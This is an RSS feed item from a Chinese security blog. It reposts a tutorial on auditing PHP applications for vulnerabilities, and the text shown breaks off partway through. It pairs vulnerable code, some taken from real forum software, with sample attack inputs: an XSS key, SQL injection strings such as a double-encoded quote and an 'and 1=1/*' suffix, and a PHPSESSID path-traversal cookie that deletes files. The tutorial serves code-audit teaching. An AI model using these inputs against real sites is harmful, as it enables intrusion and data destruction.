<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>素包子 &#187; SDL</title>
	<atom:link href="http://baoz.net/tag/sdl/feed/" rel="self" type="application/rss+xml" />
	<link>http://baoz.net</link>
	<description>己所不欲，勿劝他人</description>
	<lastBuildDate>Wed, 08 Sep 2010 12:33:46 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>高级PHP应用程序漏洞审核技术</title>
		<link>http://baoz.net/%e9%ab%98%e7%ba%a7php%e5%ba%94%e7%94%a8%e7%a8%8b%e5%ba%8f%e6%bc%8f%e6%b4%9e%e5%ae%a1%e6%a0%b8%e6%8a%80%e6%9c%af/</link>
		<comments>http://baoz.net/%e9%ab%98%e7%ba%a7php%e5%ba%94%e7%94%a8%e7%a8%8b%e5%ba%8f%e6%bc%8f%e6%b4%9e%e5%ae%a1%e6%a0%b8%e6%8a%80%e6%9c%af/#comments</comments>
		<pubDate>Sun, 16 May 2010 03:27:22 +0000</pubDate>
		<dc:creator>baoz</dc:creator>
				<category><![CDATA[技术点滴]]></category>
		<category><![CDATA[SDL]]></category>
		<category><![CDATA[Security Development Lifecycle]]></category>
		<category><![CDATA[代码审计]]></category>
		<category><![CDATA[安全开发生命周期]]></category>

		<guid isPermaLink="false">http://baoz.net/?p=5882</guid>
		<description><![CDATA[<p>80vul写的非常优秀的文章，感谢80vul的三大马甲：80vul-A，80vul-B，80vul-C，存档一份，建议看原文。</p>
<p><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese">http://code.google.com/p/pasc2at/wiki/SimplifiedChinese</a></p>
<p><span id="more-5882"></span></p>
<ul>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#高级PHP应用程序漏洞审核技术">高级PHP应用程序漏洞审核技术</a>
<ul>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#前言">前言</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#传统的代码审计技术">传统的代码审计技术</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#PHP版本与应用代码审计">PHP版本与应用代码审计</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#其他的因素与应用代码审计">其他的因素与应用代码审计</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#扩展我们的字典">扩展我们的字典</a>
<ul>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#变量本身的key">变量本身的key</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#变量覆盖">变量覆盖</a>
<ul>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#遍历初始化变量">遍历初始化变量</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#parse_str()变量覆盖漏洞">parse_str()变量覆盖漏洞</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#import_request_variables()变量覆盖漏洞">import_request_variables()变量覆盖漏洞</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#PHP5_Globals">PHP5 Globals</a></li>
</ul>
</li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#magic_quotes_gpc与代码安全">magic_quotes_gpc与代码安全</a>
<ul>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#什么是magic_quotes_gpc">什么是magic_quotes_gpc</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#哪些地方没有魔术引号的保护">哪些地方没有魔术引号的保护</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#变量的编码与解码">变量的编码与解码</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#二次攻击">二次攻击</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#魔术引号带来的新的安全问题">魔术引号带来的新的安全问题</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#变量key与魔术引号">变量key与魔术引号</a></li>
</ul>
</li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#代码注射">代码注射</a>
<ul>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#PHP中可能导致代码注射的函数">PHP中可能导致代码注射的函数</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#变量函数与双引号">变量函数与双引号</a></li>
</ul>
</li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#PHP自身函数漏洞及缺陷">PHP自身函数漏洞及缺陷</a>
<ul>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#PHP函数的溢出漏洞">PHP函数的溢出漏洞</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#PHP函数的其他漏洞">PHP函数的其他漏洞</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#session_destroy()删除文件漏洞">session_destroy()删除文件漏洞</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#随机函数">随机函数</a></li>
</ul>
</li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#特殊字符">特殊字符</a>
<ul>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#截断">截断</a>
<ul>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#include截断">include截断</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#数据截断">数据截断</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#文件操作里的特殊字符">文件操作里的特殊字符</a></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#怎么进一步寻找新的字典">怎么进一步寻找新的字典</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#DEMO">DEMO</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#后话">后话</a></li>
<li><a href="http://code.google.com/p/pasc2at/wiki/SimplifiedChinese#附录">附录</a></li>
</ul>
</li>
</ul>
<p> </p>
<h2><a name="前言">前言</a><a name="传统的代码审计技术">传统的代码审计技术</a><a name="PHP版本与应用代码审计">PHP版本与应用代码审计</a><a name="其他的因素与应用代码审计">其他的因素与应用代码审计</a><a name="扩展我们的字典">扩展我们的字典</a><a name="变量本身的key">变量本身的key</a><a name="变量覆盖">变量覆盖</a><a name="遍历初始化变量">遍历初始化变量</a><a name="parse_str()变量覆盖漏洞">parse_str()变量覆盖漏洞</a><a name="import_request_variables()变量覆盖漏洞">import_request_variables()变量覆盖漏洞</a><a name="PHP5_Globals">PHP5 Globals</a><a name="magic_quotes_gpc与代码安全">magic_quotes_gpc与代码安全</a><a name="什么是magic_quotes_gpc">什么是magic_quotes_gpc</a><a name="哪些地方没有魔术引号的保护">哪些地方没有魔术引号的保护</a><a name="变量的编码与解码">变量的编码与解码</a><a name="二次攻击">二次攻击</a><a name="魔术引号带来的新的安全问题">魔术引号带来的新的安全问题</a><a name="变量key与魔术引号">变量key与魔术引号</a><a name="代码注射">代码注射</a><a name="PHP中可能导致代码注射的函数">PHP中可能导致代码注射的函数</a><a name="变量函数与双引号">变量函数与双引号</a><a name="PHP自身函数漏洞及缺陷">PHP自身函数漏洞及缺陷</a><a name="PHP函数的溢出漏洞">PHP函数的溢出漏洞</a><a name="PHP函数的其他漏洞">PHP函数的其他漏洞</a><a name="session_destroy()删除文件漏洞">session_destroy()删除文件漏洞</a><a name="随机函数">随机函数</a><a name="特殊字符">特殊字符</a><a name="截断">截断</a><a name="include截断">include截断</a><a name="数据截断">数据截断</a><a name="文件操作里的特殊字符">文件操作里的特殊字符</a><a name="怎么进一步寻找新的字典">怎么进一步寻找新的字典</a><a name="DEMO">DEMO</a><a name="后话">后话</a><a name="附录">附录</a><a rel="nofollow" href="http://bbs.phpchina.com/attachment.php?aid=22294">http://bbs.phpchina.com/attachment.php?aid=22294</a><br />
<tt>[</tt>2<tt>]</tt> <a rel="nofollow" href="http://www.php-security.org/">http://www.php-security.org/</a><br />
<tt>[</tt>3<tt>]</tt> <a rel="nofollow" href="http://bugs.php.net/bug.php?id=40114">http://bugs.php.net/bug.php?id=40114</a></h2>
<p>PHP是一种被广泛使用的脚本语言，尤其适合于web开发。具有跨平台，容易学习，功能强大等特点，据统计全世界有超过34%的网站有php的应用，包括Yahoo、sina、163、sohu等大型门户网站。而且很多具名的web应用系统（包括bbs,blog,wiki,cms等等）都是使用php开发的，Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级，php应用程序的代码安全问题也逐步兴盛起来，越来越多的安全人员投入到这个领域，越来越多的应用程序代码漏洞被披露。针对这样一个状况，很多应用程序的官方都成立了安全部门，或者雇佣安全人员进行代码审计，因此出现了很多自动化商业化的代码审计工具。也就是这样的形势导致了一个局面：大公司的产品安全系数大大的提高，那些很明显的漏洞基本灭绝了，那些大家都知道的审计技术都无用武之地了。我们面对很多工具以及大牛扫描过n遍的代码，有很多的安全人员有点悲观，而有的官方安全人员也非常的放心自己的代码，但是不要忘记了“没有绝对的安全”，我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术经验和大家分享。</p>
<p>另外在这里特别说明一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享，在这里需要感谢他们 ：）</p>
<p>WEB应用程序漏洞查找基本上是围绕两个元素展开：变量与函数。也就是说一漏洞的利用必须把你提交的恶意代码通过变量经过n次变量转换传递，最终传递给目标函数执行，还记得MS那句经典的名言吗？“一切输入都是有害的”。这句话只强调了变量输入，很多程序员把“输入”理解为只是gpc<tt>[</tt>$<tt>_</tt>GET,$<tt>_</tt>POST,$<tt>_</tt>COOKIE<tt>]</tt>，但是变量在传递过程产生了n多的变化。导致很多过滤只是个“纸老虎”！我们换句话来描叙下代码安全：“一切进入函数的变量是有害的”。</p>
<p>PHP代码审计技术用的最多也是目前的主力方法：静态分析，主要也是通过查找容易导致安全漏洞的危险函数，常用的如grep，findstr等搜索工具，很多自动化工具也是使用正则来搜索这些函数。下面列举一些常用的函数，也就是下文说的字典（暂略）。但是目前基本已有的字典很难找到漏洞，所以我们需要扩展我们的字典，这些字典也是本文主要探讨的。</p>
<p>其他的方法有：通过修改PHP源代码来分析变量流程，或者hook危险的函数来实现对应用程序代码的审核，但是这些也依靠了我们上面提到的字典。</p>
<p>到目前为止，PHP主要有3个版本：php4、php5、php6，使用比例大致如下：</p>
<table>
<tbody>
<tr>
<td>php4</td>
<td>68%</td>
<td>2000-2007，No security fixes after 2008/08，最终版本是php4.4.9</td>
</tr>
<tr>
<td>php5</td>
<td>32%</td>
<td>2004-present，Now at version 5.2.6（PHP 5.3 alpha1 released!）</td>
</tr>
<tr>
<td>php6</td>
<td> </td>
<td>目前还在测试阶段，变化很多做了大量的修改，取消了很多安全选项如magic_quotes_gpc（这个不是今天讨论的范围）</td>
</tr>
</tbody>
</table>
<p>由于php缺少自动升级的机制，导致目前PHP版本并存，也导致很多存在漏洞没有被修补。这些有漏洞的函数也是我们进行WEB应用程序代码审计的重点对象，也是我们字典重要来源。</p>
<p>很多代码审计者拿到代码就看，他们忽视了“安全是一个整体”，代码安全很多的其他因素有关系，比如上面我们谈到的PHP版本的问题，比较重要的还有操作系统类型（主要是两大阵营win/<tt>*</tt>nix），WEB服务端软件（主要是iis/apache两大类型）等因素。这是由于不同的系统不同的WEB SERVER有着不同的安全特点或特性，下文有些部分会涉及。</p>
<p>所以我们在做某个公司WEB应用代码审计时，应该了解他们使用的系统，WEB服务端软件，PHP版本等信息。</p>
<p>下面将详细介绍一些非传统PHP应用代码审计一些漏洞类型和利用技巧。</p>
<p>说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值，但是忘记了有的程序把变量本身的key也当变量提取给函数处理。</p>
<pre>&lt;?php 
//key.php?aaaa'aaa=1&amp;bb'b=2  
//print_R($_GET);  
 foreach ($_GET AS $key =&gt; $value) 
{ 
        print $key."\n"; 
} 
?&gt;</pre>
<p>上面的代码就提取了变量本身的key显示出来，单纯对于上面的代码，如果我们提交URL：</p>
<pre>key.php?&lt;script&gt;alert(1);&lt;/script&gt;=1&amp;bbb=2</pre>
<p>那么就导致一个xss的漏洞，扩展一下如果这个key提交给include()等函数或者sql查询呢？：）</p>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略</strong></td>
</tr>
<tr>
<td>PHP版本要求：无<br />
系统要求：无<br />
审计策略：通读代码</td>
</tr>
</tbody>
</table>
<p>很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖，但是还有很多其他情况导致变量覆盖的如：</p>
<p>请看如下代码：</p>
<pre>&lt;?php 
//var.php?a=fuck 
$a='hi'; 
foreach($_GET as $key =&gt; $value) { 
        $$key = $value; 
} 
print $a; 
?&gt;</pre>
<p>很多的WEB应用都使用上面的方式（注意循环不一定是foreach），如Discuz!4.1的WAP部分的代码：</p>
<pre>$chs = ''; 
if($_POST &amp;&amp; $charset != 'utf-8') { 
        $chs = new Chinese('UTF-8', $charset); 
        foreach($_POST as $key =&gt; $value) { 
                $$key = $chs-&gt;Convert($value); 
        } 
        unset($chs);</pre>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略</strong></td>
</tr>
<tr>
<td>PHP版本要求：无<br />
系统要求：无<br />
审计策略：通读代码</td>
</tr>
</tbody>
</table>
<pre>//var.php?var=new 
$var = 'init';                      
parse_str($_SERVER['QUERY_STRING']);  
print $var;</pre>
<p>该函数一样可以覆盖数组变量，上面的代码是通过$<tt>_</tt>SERVER&#8217;QUERY_STRING&#8217;来提取变量的，对于指定了变量名的我们可以通过注射“=”来实现覆盖其他的变量：</p>
<pre>//var.php?var=1&amp;a[1]=var1%3d222 
$var1 = 'init'; 
parse_str($a[$_GET['var']]); 
print $var1;</pre>
<p>上面的代码通过提交$var来实现对$var1的覆盖。</p>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略（parse_str）</strong></td>
</tr>
<tr>
<td>PHP版本要求：无<br />
系统要求：无<br />
审计策略：查找字符parse_str</td>
</tr>
</tbody>
</table>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略（mb_parse_str）</strong></td>
</tr>
<tr>
<td>PHP版本要求：php4&lt;4.4.7 php5&lt;5.2.2<br />
系统要求：无<br />
审计策略：查找字符mb_parse_str</td>
</tr>
</tbody>
</table>
<pre>//var.php?_SERVER[REMOTE_ADDR]=10.1.1.1 
echo 'GLOBALS '.(int)ini_get("register_globals")."n"; 
import_request_variables('GPC'); 
if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!'); 
echo 'Hello admin!';</pre>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略（import_request_variables）</strong></td>
</tr>
<tr>
<td>PHP版本要求：php4&lt;4.4.1 php5&lt;5.2.2<br />
系统要求：无<br />
审计策略：查找字符import_request_variables</td>
</tr>
</tbody>
</table>
<p>从严格意义上来说这个不可以算是PHP的漏洞，只能算是一个特性，测试代码：</p>
<pre>&lt;? 
// register_globals =ON 
//foo.php?GLOBALS[foobar]=HELLO 
php echo $foobar;  
?&gt;</pre>
<p>但是很多的程序没有考虑到这点，请看如下代码：</p>
<pre>//为了安全取消全局变量 
//var.php?GLOBALS[a]=aaaa&amp;b=111 
if (ini_get('register_globals')) foreach($_REQUEST as $k=&gt;$v) unset(${$k}); 
print $a; 
print $_GET[b];</pre>
<p>如果熟悉WEB2.0的攻击的同学，很容易想到上面的代码我们可以利用这个特性进行crsf攻击。</p>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略</strong></td>
</tr>
<tr>
<td>PHP版本要求：无<br />
系统要求：无<br />
审计策略：通读代码</td>
</tr>
</tbody>
</table>
<p> </p>
<p>当打开时，所有的 &#8216;（单引号），&#8221;（双引号），\（反斜线）和 NULL 字符都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用 如：addslashes()、mysql_escape_string()、mysql_real_escape_string()等，另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项，并且很多程序员也注意使用上面那些函数去过滤变量，这看上去很安全。很多漏洞查找者或者工具遇到些函数过滤后的变量直接就放弃，但是就在他们放弃的同时也放过很多致命的安全漏洞。 ：）</p>
<p><strong>1) $<tt>_</tt>SERVER变量</strong></p>
<p>PHP5的$<tt>_</tt>SERVER变量缺少magic_quotes_gpc的保护，导致近年来X-Forwarded-For的漏洞猛暴，所以很多程序员考虑过滤X-Forwarded-For，但是其他的变量呢？</p>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略（$<tt>_</tt>SERVER变量）</strong></td>
</tr>
<tr>
<td>PHP版本要求：无<br />
系统要求：无<br />
审计策略：查找字符<tt>_</tt>SERVER</td>
</tr>
</tbody>
</table>
<p><strong>2) getenv()得到的变量（使用类似$<tt>_</tt>SERVER变量）</strong></p>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略（getenv()）</strong></td>
</tr>
<tr>
<td>PHP版本要求：无<br />
系统要求：无<br />
审计策略：查找字符getenv</td>
</tr>
</tbody>
</table>
<p><strong>3) $HTTP_RAW_POST_DATA与PHP输入、输出流</strong></p>
<p>主要应用与soap/xmlrpc/webpublish功能里，请看如下代码：</p>
<pre>if ( !isset( $HTTP_RAW_POST_DATA ) ) { 
        $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' ); 
} 
if ( isset($HTTP_RAW_POST_DATA) ) 
        $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);</pre>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略（数据流）</strong></td>
</tr>
<tr>
<td>PHP版本要求：无<br />
系统要求：无<br />
审计策略：查找字符HTTP_RAW_POST_DATA或者php://input</td>
</tr>
</tbody>
</table>
<p><strong>4) 数据库操作容易忘记&#8217;的地方如：in()/limit/order by/group by</strong></p>
<p>如Discuz!&lt;5.0的pm.php：</p>
<pre>if(is_array($msgtobuddys)) { 
        $msgto = array_merge($msgtobuddys, array($msgtoid)); 
                ...... 
foreach($msgto as $uid) { 
        $uids .= $comma.$uid; 
        $comma = ','; 
} 
...... 
$query = $db-&gt;query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m 
        LEFT JOIN {$tablepre}memberfields mf USING(uid) 
        WHERE m.uid IN ($uids)");</pre>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略</strong></td>
</tr>
<tr>
<td>PHP版本要求：无<br />
系统要求：无<br />
审计策略：查找数据库操作字符（select,update,insert等等）</td>
</tr>
</tbody>
</table>
<p>一个WEB程序很多功能的实现都需要变量的编码解码，而且就在这一转一解的传递过程中就悄悄的绕过你的过滤的安全防线。</p>
<p>这个类型的主要函数有：</p>
<p><strong>1) stripslashes() 这个其实就是一个decode-addslashes()</strong></p>
<p><strong>2) 其他字符串转换函数：</strong></p>
<table>
<tbody>
<tr>
<td>base64_decode</td>
<td>对使用 MIME base64 编码的数据进行解码</td>
</tr>
<tr>
<td>base64_encode</td>
<td>使用 MIME base64 对数据进行编码</td>
</tr>
<tr>
<td>rawurldecode</td>
<td>对已编码的 URL 字符串进行解码</td>
</tr>
<tr>
<td>rawurlencode</td>
<td>按照 RFC 1738 对 URL 进行编码</td>
</tr>
<tr>
<td>urldecode</td>
<td>解码已编码的 URL 字符串</td>
</tr>
<tr>
<td>urlencode</td>
<td>编码 URL 字符串</td>
</tr>
<tr>
<td>&#8230;</td>
<td>&#8230;</td>
</tr>
</tbody>
</table>
<p><em>另外一个 unserialize/serialize</em></p>
<p><strong>3) 字符集函数（GKB,UTF7/8&#8230;）如iconv()/mb_convert_encoding()等</strong></p>
<p>目前很多漏洞挖掘者开始注意这一类型的漏洞了，如典型的urldecode：</p>
<pre>$sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";</pre>
<p>当magic_quotes_gpc=on时，我们提交?id=%2527，得到sql语句为：</p>
<pre>SELECT * FROM article WHERE articleid='''</pre>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略</strong></td>
</tr>
<tr>
<td>PHP版本要求：无<br />
系统要求：无<br />
审计策略：查找对应的编码函数</td>
</tr>
</tbody>
</table>
<p><em>详细见附录<tt>[</tt>1<tt>]</tt></em></p>
<p><strong>1)数据库出来的变量没有进行过滤</strong></p>
<p><strong>2)数据库的转义符号：</strong></p>
<ul>
<li>mysql/oracle转义符号同样是\（我们提交&#8217;通过魔术引号变化为\&#8217;，当我们update进入数据库时，通过转义变为&#8217;）</li>
<li>mssql的转义字符为&#8217;（所以我们提交&#8217;通过魔术引号变化为\&#8217;，mssql会把它当为一个字符串直接处理，所以魔术引号对于mssql的注射没有任何意义）</li>
</ul>
<p>从这里我们可以思考得到一个结论：一切进入函数的变量都是有害的，另外利用二次攻击我们可以实现一个webrootkit，把我们的恶意构造直接放到数据库里。我们应当把这样的代码看成一个vul？</p>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略</strong></td>
</tr>
<tr>
<td>PHP版本要求：无<br />
系统要求：无<br />
审计策略：通读代码</td>
</tr>
</tbody>
</table>
<p>首先我们看下魔术引号的处理机制：</p>
<pre>[\--&gt;\\,'--&gt;\',"--&gt;\",null--&gt;\0]</pre>
<p>这给我们引进了一个非常有用的符号“\”，“\”符号不仅仅是转义符号，在WIN系统下也是目录转跳的符号。这个特点可能导致php应用程序里产生非常有意思的漏洞：</p>
<p><strong>1)得到原字符（&#8217;,\,&#8221;,null]）</strong></p>
<pre>$order_sn=substr($_GET['order_sn'], 1); 

//提交                 ' 
//魔术引号处理         \' 
//substr               ' 

$sql = "SELECT order_id, order_status, shipping_status, pay_status, ". 
   " shipping_time, shipping_id, invoice_no, user_id ". 
   " FROM " . $ecs-&gt;table('order_info'). 
   " WHERE order_sn = '$order_sn' LIMIT 1";</pre>
<p><strong>2)得到“\”字符</strong></p>
<pre>$order_sn=substr($_GET['order_sn'], 0,1); 

//提交                 ' 
//魔术引号处理         \' 
//substr               \     

$sql = "SELECT order_id, order_status, shipping_status, pay_status, ". 
   " shipping_time, shipping_id, invoice_no, user_id ". 
   " FROM " . $ecs-&gt;table('order_info'). 
   " WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";</pre>
<p>提交内容：</p>
<pre>?order_sn='&amp;order_tn=%20and%201=1/*</pre>
<p>执行的SQL语句为：</p>
<pre>SELECT order_id, order_status, shipping_status, pay_status, shipping_time,  
shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' and  
order_tn=' and 1=1/*'</pre>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略</strong></td>
</tr>
<tr>
<td>PHP版本要求：无<br />
系统要求：无<br />
审计策略：查找字符串处理函数如substr或者通读代码</td>
</tr>
</tbody>
</table>
<p>我们最在这一节的开头就提到了变量key，PHP的魔术引号对它有什么影响呢？</p>
<pre>&lt;?php 
//key.php?aaaa'aaa=1&amp;bb'b=2  
//print_R($_GET);  
 foreach ($_GET AS $key =&gt; $value) 
        { 
        print $key."\n"; 
        } 
?&gt;</pre>
<p><strong>1)当magic_quotes_gpc = On时，在php5.24下测试显示：</strong></p>
<pre>aaaa\'aaa 
bb\'b</pre>
<p>从上面结果可以看出来，在设置了magic_quotes_gpc = On下，变量key受魔术引号影响。但是在php4和php&lt;5.2.1的版本中，不处理数组第一维变量的key，测试代码如下：</p>
<pre>&lt;?php 
//key.php?aaaa'aaa[bb']=1  
print_R($_GET);  
?&gt;</pre>
<p>结果显示:</p>
<pre>Array ( [aaaa'aaa] =&gt; Array ( [bb\'] =&gt; 1 ) )</pre>
<p>数组第一维变量的key不受魔术引号的影响。</p>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略</strong></td>
</tr>
<tr>
<td>PHP版本要求：php4和php&lt;5.2.1<br />
系统要求：无<br />
审计策略：通读代码</td>
</tr>
</tbody>
</table>
<p><strong>2)当magic_quotes_gpc = Off时，在php5.24下测试显示：</strong></p>
<pre>aaaa'aaa 
bb'b</pre>
<p>对于magic_quotes_gpc = Off时所有的变量都是不安全的，考虑到这个，很多程序都通过addslashes等函数来实现魔术引号对变量的过滤，示例代码如下：</p>
<pre>&lt;?php  
//keyvul.php?aaa'aa=1' 
//magic_quotes_gpc = Off 
 if (!get_magic_quotes_gpc()) 
{ 
 $_GET  = addslashes_array($_GET); 
} 

function addslashes_array($value) 
{ 
        return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value); 
} 
print_R($_GET); 
foreach ($_GET AS $key =&gt; $value) 
{ 
        print $key; 
} 
?&gt;</pre>
<p>以上的代码看上去很完美，但是他这个代码里addslashes($value)只处理了变量的具体的值，但是没有处理变量本身的key，上面的代码显示结果如下：</p>
<pre>Array 
( 
    [aaa'aa] =&gt; 1\' 
) 
aaa'aa</pre>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略</strong></td>
</tr>
<tr>
<td>PHP版本要求：无<br />
系统要求：无<br />
审计策略：通读代码</td>
</tr>
</tbody>
</table>
<p>很多人都知道eval、preg_replace+/e可以执行代码，但是不知道php还有很多的函数可以执行代码如：</p>
<table>
<tbody>
<tr>
<td>assert()</td>
</tr>
<tr>
<td>call_user_func()</td>
</tr>
<tr>
<td>call_user_func_array()</td>
</tr>
<tr>
<td>create_function()</td>
</tr>
<tr>
<td>变量函数</td>
</tr>
<tr>
<td>&#8230;</td>
</tr>
</tbody>
</table>
<p>这里我们看看最近出现的几个关于create_function()代码执行漏洞的代码：</p>
<pre>&lt;?php 
//how to exp this code 
$sort_by=$_GET['sort_by']; 
$sorter='strnatcasecmp'; 
$databases=array('test','test'); 
$sort_function = '  return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]); 
              '; 
usort($databases, create_function('$a, $b', $sort_function));</pre>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略</strong></td>
</tr>
<tr>
<td>PHP版本要求：无<br />
系统要求：无<br />
审计策略：查找对应函数（assert,call_user_func,call_user_func_array,create_function等）</td>
</tr>
</tbody>
</table>
<p>对于单引号和双引号的区别，很多程序员深有体会，示例代码：</p>
<pre>echo "$a\n"; 
echo '$a\n';</pre>
<p>我们再看如下代码：</p>
<pre>//how to exp this code 
if($globals['bbc_email']){ 

$text = preg_replace( 
                array("/\[email=(.*?)\](.*?)\[\/email\]/ies", 
                                "/\[email\](.*?)\[\/email\]/ies"), 
                array('check_email("$1", "$2")', 
                                'check_email("$1", "$1")'), $text);</pre>
<p>另外很多的应用程序都把变量用&#8221;"存放在缓存文件或者config或者data文件里，这样很容易被人注射变量函数。</p>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略</strong></td>
</tr>
<tr>
<td>PHP版本要求：无<br />
系统要求：无<br />
审计策略：通读代码</td>
</tr>
</tbody>
</table>
<p> </p>
<p>大家还记得Stefan Esser大牛的Month of PHP Bugs（MOPB见附录2）项目么，其中比较有名的要算是unserialize()，代码如下：</p>
<pre>unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);</pre>
<p>在以往的PHP版本里，很多函数都曾经出现过溢出漏洞，所以我们在审计应用程序漏洞的时候不要忘记了测试目标使用的PHP版本信息。</p>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略</strong></td>
</tr>
<tr>
<td>PHP版本要求：对应fix的版本<br />
系统要求：<br />
审计策略：查找对应函数名</td>
</tr>
</tbody>
</table>
<p>Stefan Esser大牛发现的漏洞：unset()&#8211;Zend_Hash_Del_Key_Or_Index Vulnerability 比如phpwind早期的serarch.php里的代码：</p>
<pre>unset($uids); 
...... 
$query=$db-&gt;query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'"); 
while($member=$db-&gt;fetch_array($query)){ 
        $uids .= $member['uid'].','; 
} 
$uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 '; 
........ 
$query = $db-&gt;query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");</pre>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略</strong></td>
</tr>
<tr>
<td>PHP版本要求：php4&lt;4.3 php5&lt;5.14<br />
系统要求：无<br />
审计策略：查找unset</td>
</tr>
</tbody>
</table>
<p><em>测试PHP版本：5.1.2</em> 这个漏洞是几年前朋友saiy发现的，session_destroy()函数的功能是删除session文件，很多web应用程序的logout的功能都直接调用这个函数删除session，但是这个函数在一些老的版本中缺少过滤导致可以删除任意文件。测试代码如下：</p>
<pre>&lt;?php  
//val.php    
session_save_path('./'); 
session_start(); 
if($_GET['del']) { 
        session_unset(); 
        session_destroy(); 
}else{ 
        $_SESSION['hei']=1; 
        echo(session_id()); 
        print_r($_SESSION); 
} 
?&gt;</pre>
<p>当我们提交构造cookie:PHPSESSID=/../1.php，相当于unlink(&#8216;sess<tt>_</tt>/../1.php&#8217;)这样就通过注射../转跳目录删除任意文件了。很多著名的程序某些版本都受影响如phpmyadmin，sablog，phpwind3等等。</p>
<table>
<tbody>
<tr>
<td><strong>漏洞审计策略</strong></td>
</tr>
<tr>
<td>PHP版本要求：具体不详<br />
系统要求：无<br />
审计策略：查找session_destroy</td>
</tr>
